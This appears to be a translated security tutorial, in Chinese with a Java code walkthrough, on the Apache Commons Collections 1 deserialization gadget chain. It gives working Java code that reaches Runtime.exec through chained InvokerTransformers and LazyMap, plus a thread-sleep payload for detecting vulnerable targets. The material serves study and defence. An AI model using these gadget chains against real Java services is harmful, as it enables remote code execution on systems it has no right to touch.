Java Transformers to Rutime exec()
在多个地方,你可以找到一个使用 Apache common collections 中变换器的 Java 反序列化有效负载,如下所示:
Copy import org . apache . commons . * ;
import org . apache . commons . collections . * ;
import org . apache . commons . collections . functors . * ;
import org . apache . commons . collections . map . * ;
import java . io . * ;
import java . lang . reflect . InvocationTargetException ;
import java . util . Map ;
import java . util . HashMap ;
public class CommonsCollections1PayloadOnly {
public static void main ( String ... args) {
String [] command = { "calc.exe" };
final Transformer [] transformers = new Transformer []{
new ConstantTransformer( Runtime . class ) , //(1)
new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , new Class [ 0 ]}
) , //(2)
new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) , //(3)
new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
//Execute gadgets
lazyMap . get ( "anything" );
}
}
如果你对 Java 反序列化有效载荷一无所知,可能很难弄清楚为什么这段代码会执行一个 calc。
首先,你需要知道 Java 中的 Transformer 是一个 接收一个类 并 将其转换为另一个类 的东西。
此外,值得注意的是,这里被 执行 的 有效载荷 是 等价于 :
Copy Runtime . getRuntime () . exec ( new String []{ "calc.exe" });
或者更准确地说 ,最终将被执行的是:
Copy ((Runtime) ( Runtime . class . getMethod ( "getRuntime" ) . invoke ( null ))) . exec ( new String []{ "calc.exe" });
如何
那么,为什么第一个有效载荷与那些“简单”的单行代码等效呢?
首先 ,您可以注意到在有效载荷中创建了一个 变换链(数组) :
Copy String [] command = { "calc.exe" };
final Transformer [] transformers = new Transformer []{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer( Runtime . class ) ,
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , new Class [ 0 ]}
) ,
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) ,
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
如果你阅读代码,你会注意到,如果你以某种方式链接数组的转换,你将能够执行任意命令。
那么,这些转换是如何链接的?
Copy Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
lazyMap . get ( "anything" );
在有效负载的最后部分,您可以看到一个 Map 对象被创建 。然后,从 LazyMap
执行函数 decorate
,传入 map 对象和链式转换器。从以下代码可以看出,这将导致 链式转换器 被复制到 lazyMap.factory
属性中:
Copy protected LazyMap( Map map , Transformer factory) {
super(map);
if (factory == null ) {
throw new IllegalArgumentException( "Factory must not be null" ) ;
}
this . factory = factory;
}
然后伟大的结局被执行: lazyMap.get("anything");
这是 get
函数的代码:
Copy public Object get( Object key) {
if ( map . containsKey (key) == false ) {
Object value = factory . transform (key);
map . put (key , value);
return value;
}
return map . get (key);
}
这是 transform
函数的代码
Copy public Object transform( Object object) {
for ( int i = 0 ; i < iTransformers . length ; i ++ ) {
object = iTransformers[i] . transform (object);
}
return object;
}
所以,请记住,在 factory 中我们保存了 chainedTransformer
,在 transform
函数中,我们 遍历所有这些链式变换器 并一个接一个地执行它们。有趣的是,每个变换器都使用 object
作为输入 ,而 object 是上一个执行的变换器的输出 。因此,所有的变换都是链式执行恶意有效载荷 。
摘要
最后,由于 lazyMap 在 get 方法中管理链式变换器的方式,就像我们在执行以下代码一样:
Copy Object value = "someting" ;
value = new ConstantTransformer( Runtime . class ) . transform (value); //(1)
value = new InvokerTransformer( "getMethod" ,
new Class []{ String . class , Class [] . class } ,
new Object []{ "getRuntime" , null }
) . transform (value); //(2)
value = new InvokerTransformer( "invoke" ,
new Class []{ Object . class , Object [] . class } ,
new Object []{ null , new Object [ 0 ]}
) . transform (value); //(3)
value = new InvokerTransformer( "exec" ,
new Class []{ String . class } ,
command
) . transform (value); //(4)
注意 value
是每个转换的输入和前一个转换的输出,从而允许执行一行代码:
Copy ((Runtime) ( Runtime . class . getMethod ( "getRuntime" ) . invoke ( null ))) . exec ( new String []{ "calc.exe" });
注意这里解释了用于 ComonsCollections1有效负载的gadget 。但如何开始执行这一切 仍然没有说明。你可以在这里看到ysoserial ,为了执行这个有效负载,它使用了一个AnnotationInvocationHandler
对象,因为当这个对象被反序列化时 ,它将调用 payload.get()
函数,这将执行整个有效负载 。
Java 线程休眠
这个有效负载可能有助于识别网站是否存在漏洞,因为如果存在漏洞,它将执行休眠 。
Copy import org . apache . commons . * ;
import org . apache . commons . collections . * ;
import org . apache . commons . collections . functors . * ;
import org . apache . commons . collections . map . * ;
import java . io . * ;
import java . lang . reflect . InvocationTargetException ;
import java . net . MalformedURLException ;
import java . net . URL ;
import java . util . Map ;
import java . util . HashMap ;
public class CommonsCollections1Sleep {
public static void main ( String ... args) {
final Transformer [] transformers = new Transformer []{
new ConstantTransformer( Thread . class ) ,
new InvokerTransformer( "getMethod" ,
new Class []{
String . class , Class [] . class
} ,
new Object []{
"sleep" , new Class []{ Long . TYPE }
}) ,
new InvokerTransformer( "invoke" ,
new Class []{
Object . class , Object [] . class
} , new Object []
{
null , new Object [] { 7000L }
}) ,
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers) ;
Map map = new HashMap <>();
Map lazyMap = LazyMap . decorate (map , chainedTransformer);
//Execute gadgets
lazyMap . get ( "anything" );
}
}
更多小工具
您可以在这里找到更多小工具: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html